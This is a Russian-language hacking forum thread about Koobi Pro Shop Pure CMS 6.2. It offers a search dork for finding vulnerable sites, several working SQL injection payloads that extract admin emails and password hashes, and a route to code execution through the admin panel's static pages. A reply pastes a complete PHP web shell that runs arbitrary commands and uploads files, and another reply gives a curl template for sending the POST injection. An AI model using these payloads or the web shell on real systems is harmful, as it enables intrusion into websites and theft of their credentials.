Уязвимости Koobi Pro Shop Pure CMS 6.2

Discussion in 'Веб-уязвимости' started by v1d0qz, 14 Jul 2010.

  1. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    Уязвимости Koobi Pro Shop Pure CMS 6.2 + возможно уязвимы <-е версии.

    Ищется по дорку: `Powered by Pure CMS 6.2 RUS Overdoze Team [ antichat.ru & overdoze.ru ]` > вроде как создатели какие-то Дайвер и Макс, видимо забросили и "это" уже те, кто дописывал данный движок
    Профикс: Вероятнее всего => "kpro"
    Хэширование: md5(md5($pass))
    Адм&панель: /admin/


    1)sqli

    PHP:
    $sql $db->Query("SELECT * FROM ".PREFIX."_gallery WHERE id=$_REQUEST[galid] ");
                    
    $row_gal $sql->fetchrow();
    Эксплуатация

    Code:
    index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=(select+count(0),concat((select+concat_ws(0x3a,email,pass)+from+[prefix]_user+where+ugroup=1),floor(rand(0)*2))from(information_schema.columns)group+by+2)&area=1&ascdesc=desc

    2)sqli

    PHP:
    $sql $db->Query("SELECT * FROM ".PREFIX."_gallery_items WHERE id=$_REQUEST[img_id] ");
            
    $row $sql->fetchrow();
    Эксплуатация

    Code:
    index.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,email,pass),8,9+from+[prefix]_user+where+ugroup=1&galid=1&area=1&ascdesc=desc

    3)Inject INSERT

    /functions/Func.InOutput.php
    PHP:
    function iform($text$chars$allowed)
    {
        global 
    $pref;
        
    $text addslashes($text);
        
    $text strip_tags($text"" $allowed "");
        
    $text substr($text0$chars);
        return 
    $text;
    }
    /functions/Func.Post.php

    PHP:
    function formtext($text,$maxlength){
            
    $text substr($text,0$maxlength);
            return 
    $text;
    }
    /system/gallerypic.php

    PHP:
    if(!$error){
    $text formtext($_POST['text'],$MAXCOMMLENGTH);
    $sql $db->Query("INSERT INTO ".PREFIX."_gallerycomments (id, imgid, ctime, autor, title, comment, ip) VALUES ('','".(int)$_REQUEST['img_id']."', '".time()."', '".$UID."', '".iform($_POST['title'],"255","")."', '".$text."', '".$_SERVER['REMOTE_ADDR']."')");
    Эксплуатация

    POST parameters
    Code:
    title=[qqq=254]\\&kmode=&kmode=normal&text=, (select concat(email,0x3a,pass) from [prefix]_users where ugroup=1 limit 0,1),1)#&scode=[security-code]&do=send&area=1
    = видим пароль в заголовке комментария.


    4)Заливка шелла

    Вроде как не я первый нашел. Потому опишу в двух словах. За подробностями обращайтесь к гуглу.
    Админка-Статические страницы>Создать документ
    Название => rdot
    Текст => {php} phpinfo(); {/php}
    connect => /index.php?area=1&p=static&page=rdot


    5)пути

    Code:
    /inc/init.php
    ********************* (c)v1d0q ********************
     
    2 people like this.
  2. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    первый попавшийся
    Code:
    `Powered by Pure CMS 6.2 RUS Overdoze Team [ antichat.ru & overdoze.ru ]
    HTML:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0x3a,email,pass) from [prefix]_user where ugroup=1),floor(rand(0)*2))from(infor' at line 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0x3a,email,pass) from [prefix]_user where ugroup=1),floor(rand(0)*2))from(infor' at line 1 
     
    #2 Ali_MiX, 15 Jul 2010
    Last edited: 16 Jul 2010
  3. emillord

    emillord Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    257
    Likes Received:
    444
    Reputations:
    255
    Ali_MiX
    В запросе не забудь поменять [prefix] на префик БД и проверь на лишние пробелы.
     
  4. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    эм не читал запрос(
    вот поправленые с префиксом

     
  5. Ali_MiX

    Ali_MiX Elder - Старейшина

    Joined:
    8 Oct 2006
    Messages:
    377
    Likes Received:
    67
    Reputations:
    -2
    Не разобрался с заливкой шелла. Вставлял мини шелл код между тегами php и них.
    пробовал через инклуд... тож самое

    что то типа такого вставлял
    PHP:
    <html>
    <head>
    <title>Загрузчик</title>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <style type="text/css">
    <!--
    body {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px}
    a {  color: #000000; text-decoration: none}
    a:hover {  color: #000066; text-decoration: underline}
    -->
    </style>
    </head>

    <body bgcolor="#999999" text="#000000">
    <center>
      <table width="700" border="0" bgcolor="#000066">
        <tr>
          <td>
            <table width="100%" border="0" bgcolor="#CCCCCC">
              <tr>
                <td> 
                  <p><font size="2"><b><font color="#FF0000">&nbsp;&nbsp;&nbsp;Система: 
                    <font color="#000000"> 
                    <? passthru("uname -a"); ?>
                    </font><br>
                    &nbsp;&nbsp;&nbsp;Our permissions: <font color="#000000"> 
                    <? passthru("id"); ?>
                    </font><br>
                    &nbsp;&nbsp;&nbsp;Our locality: <font color="#000000"> 
                    <? passthru("pwd"); ?>
                    </font></font></b></font></p>
                  
    <pre>
    <?php 
    // FILE UPLOAD
    $uploaded $_FILES['userfile']['tmp_name'];
    if (
    file_exists($uploaded)) { 
       
    $pwd_dir $_POST['dira'];
       
    $real $_FILES['userfile']['name'];  
       
    $destination $pwd_dir."/".$real;
       
    copy($uploaded$destination);
       echo 
    "Uploaded process:";
       
    print_r ($_FILES); 
       echo 
    "Файл загружен в $destination";
    } else {
        echo 
    "&nbsp;&nbsp;Нет загруженых файлов"
    }
    ?>     </pre> <form name="form1" method="post" enctype="multipart/form-data">
                    <table width="100%" border="0">
                      <tr> 
                        <td width="35%"><font size="2"><b>&nbsp;&nbsp;Файл для загрузки :</b></font></td>
                        <td width="65%"> 
                          <input type="file" name="userfile" size="45">
                        </td>
                      </tr>
                      <tr> 
                        <td width="35%"><b><font size="2">&nbsp;&nbsp;Расположение:</font></b></td>
                        <td width="65%"> 
                          <input type="text" name="dira" size="45" value="<? passthru("pwd"); ?>">
                          <input type="submit" name="submit2" value="Загрузить">
                        </td>
                      </tr>
                      <tr> 
                        <td width="35%"> 
                          <div align="right"> </div>
                        </td>
                        <td width="65%">&nbsp; </td>
                      </tr>
                      <tr> 
                        <td width="35%"><b><font size="2">&nbsp;&nbsp;Вводи команду :</font></b></td>
                        <td width="65%">
                          <input type="text" name="cmd" size="45" value="<? echo $_POST['cmd']; ?>">
                          <input type="submit" name="submit" value="Выполнить">
                        </td>
                      </tr>
                      <tr> 
                        <td width="35%"> 
                          <div align="right"> </div>
                        </td>
                        <td width="65%">&nbsp; </td>
                      </tr>
                    </table>
                  </form>
                  <p>
                              <pre>
                              <?
                              // command output 
                                    if ($_POST['cmd']){
                              $cmd = $_POST['cmd'];
                              echo "$cmd ГОТОВО...<br>";
                              passthru("$cmd");
                              }
                              else {
                              echo "Нет выполненных команд";
                              }
                              
                              ?></pre>
             
                    
                                     
                  <div align="right"> <font size="1"><b>2003 &copy; </b></font> </div>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </center>
    </body>
    </html>
     
    #5 Ali_MiX, 17 Jul 2010
    Last edited: 17 Jul 2010
  6. lexaoptimist

    lexaoptimist New Member

    Joined:
    25 Jul 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Приветствую всех!
    Имеется у меня сайт на Powered by Pure CMS 6.2 RUS Overdoze Team
    Как мне можно проверить имеются ли в системе вышеописанные дырки?
    Первые два действия я так понимаю ввожу через адресную строку:
    домен.ру/ndex.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,e mail,pass),8,9+from+pure_user+where+ugroup=1&galid=1&area=1&ascdesc=desc
    и
    домен.ру/index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=(select+count(0),concat((select+c oncat_ws(0x3a,email,pass)+from+pure_user+where+ugr oup=1),floor(rand(0)*2))from(information_schema.co lumns)group+by+2)&area=1&ascdesc=desc

    что после этого должно произойти?
    и как отправить POST parameters?
    title=[qqq=254]\\&kmode=&kmode=normal&text=, (select concat(email,0x3a,pass) from [prefix]_users where ugroup=1 limit 0,1),1)#&scode=[security-code]&do=send&area=1

    и следовательно после этого я должен буду получить пароль к админке?

    Заранее благодарю за советы и помощь!
     
    #6 lexaoptimist, 20 Aug 2011
    Last edited: 20 Aug 2011
  7. RexTiam

    RexTiam Member

    Joined:
    2 Nov 2009
    Messages:
    117
    Likes Received:
    45
    Reputations:
    5
    [prefix]_users - как у тебя указана в бд. прификс твой.

    запрос пост отправить с помощью curl

    $ch = curl_init();
    //curl_setopt($ch, CURLOPT_PROXY, "1.2.3.4:123"); //если нужен прокси
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_URL, "http://www.site.com/form.php"); //куда шлем
    curl_setopt($ch, CURLOPT_POSTFIELDS, "x=231&y=342"); //что шлем
    curl_setopt($ch, CURLOPT_REFERER, "http://www.site.com");
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322)");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_NOBODY, 0);
    $result=curl_exec ($ch);
    curl_close ($ch);

    echo $result;


    и так же посмотри вот эту тему, много полезных программ
    http://forum.antichat.ru/threadnav240692-1-10.html
     
    #7 RexTiam, 20 Aug 2011
    Last edited: 21 Aug 2011